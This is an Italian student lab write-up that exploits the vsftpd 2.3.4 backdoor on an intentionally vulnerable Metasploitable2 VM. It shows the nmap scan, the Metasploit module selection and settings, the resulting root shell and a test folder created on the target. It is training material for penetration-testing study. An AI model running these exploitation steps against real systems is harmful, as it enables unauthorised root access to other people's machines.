



Esercizio S7 L1

Attacco a Metasploitable2 con Metasploit:

L'obiettivo di questo attacco è di prendere il controllo della macchina Metasploitable2 da Kali con una sessione di Metasploit. per fare ciò accendiamo le due macchine, Kali e Meta, ed accertiamoci che comunichino fra loro, poi su Kali eseguiamo il comando <<msfconsole>> per iniziare una sessione di Metasploit.

```
(kali@kali)-[~]
$ msfconsole

+-----+
| METASPLOIT by Rapid7 |
+-----+

= c (o ( ( (
|
| Home
|
| RECON
|

EXPLOIT
[msf >]
\ (a) (a) (a) (a) (a) (a) /
*****

o o o
o o
o
Payload Scripts
*****
PAYLOAD
| (a) (a) " " * * | (a) (a) * * | (a)
= = = = =

LOOT
(
|
|
|
|
|
|
|
|
|
|

Text files

= [ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1385 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: You can pivot connections over sessions
started with the ssh_login modules
Metasploit Documentation: https://docs.metasploit.com/
```

Attacco a Metasploitable2 con Metasploit:

Facciamo una scansione con nmap per enumerare le porte in ascolto attive su Meta e selezionarne una per condurre il nostro attacco.

Vediamo che il servizio “vsftpd” è in ascolto sulla porta 21; il nostro attacco sfrutterà questa vulnerabilità.

```
(kali㉿kali)-[~]  
$ nmap -sV 192.168.50.101  
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-15 10:39 CET  
Nmap scan report for 192.168.50.101  
Host is up (0.00059s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   filtered netbios-ssn  
445/tcp   filtered microsoft-ds
```

Attacco a Metasploitable2 con Metasploit:

Eseguiamo il comando `<<search vsftpd>>` all'interno della sessione di Metasploit per cercare un exploit del servizio "vsftpd" che fa al caso nostro, ne troviamo 2, quello che vogliamo utilizzare è il secondo quindi digitiamo `<<use 1>>` per selezionarlo. Adesso dobbiamo impostare l'indirizzo IP della macchina che vogliamo attaccare quindi digitiamo il comando `<<set RHOSTS 192.168.50.101>>` dove 192.168.50.101 è l'indirizzo IP di Metasploitable2.

```
msf6 > search vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use 1
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
```

```
RHOSTS => 192.168.50.101
```

Attacco a Metasploitable2 con Metasploit:

Verifichiamo che le nostre modifiche siano state registrate correttamente digitando il comando <<show options>>

Come possiamo osservare il parametro RHOSTS è stato impostato correttamente e mostra l'indirizzo che abbiamo digitato precedentemente.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
RHOSTS	192.168.50.101	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	21	yes	The target port (TCP)

```
Payload options (cmd/unix/interact):
```

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

```
Exploit target:
```

Id	Name
0	Automatic

```
View the full module info with the info, or info -d command.
```

Attacco a Metasploitable2 con Metasploit:

Adesso che tutto è stato configurato non ci resta altro che lanciare l'attacco col comando <<exploit>>

Per confermare la riuscita dell'attacco digitiamo il comando <<ifconfig>> e vediamo che ci vengono mostrate le informazioni della scheda di rete di Metasploitable2, ciò significa che siamo riusciti a creare una shell con accesso alla macchina target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.50.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:34551 → 192.168.50.101:6200) at 2024-01-15 10:20:34 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e4:38:89
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fee4:3889/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1448 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1469 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:116159 (113.4 KB)  TX bytes:119568 (116.7 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:253 errors:0 dropped:0 overruns:0 frame:0
          TX packets:253 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:81484 (79.5 KB)  TX bytes:81484 (79.5 KB)
```

Attacco a Metasploitable2 con Metasploit:

Adesso andiamo a svolgere la richiesta dell'esercizio:

eseguiamo il comando <<ls>> per vedere in che punto del pc ci troviamo. Dalla risposta deduciamo di essere nella Root Directory del pc attaccato.

Adesso col comando <<mkdir test_metasploit>> creiamo una nuova cartella chiamata "test_metasploit" nella Root Directory del sistema attaccato.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
mkdir test_metasploit
```

Attacco a Metasploitable2 con Metasploit:

Per controllare che l'attacco sia andato a buon fine e che la cartella sia stata creata effettivamente apriamo la macchina Metasploitable2 e digitiamo i seguenti comandi:

<<cd />> e <<ls>>

abbiamo la conferma visiva che è stata creata una cartella chiamata "test_metasploit" nella Root Directory della macchina Metasploitable2 e dunque l'esercizio è stato completato.

```
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ sudo loadkeys it
[sudo] password for msfadmin:
Loading /usr/share/keymaps/it.map.bz2
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin      dev      initrd    lost+found  nohup.out  root    sys      usr
boot     etc      initrd.img  media      opt        sbin    test_metasploit  var
cdrom    home     lib        mnt        proc       srv     tmp      vmlinuz
msfadmin@metasploitable:/$
```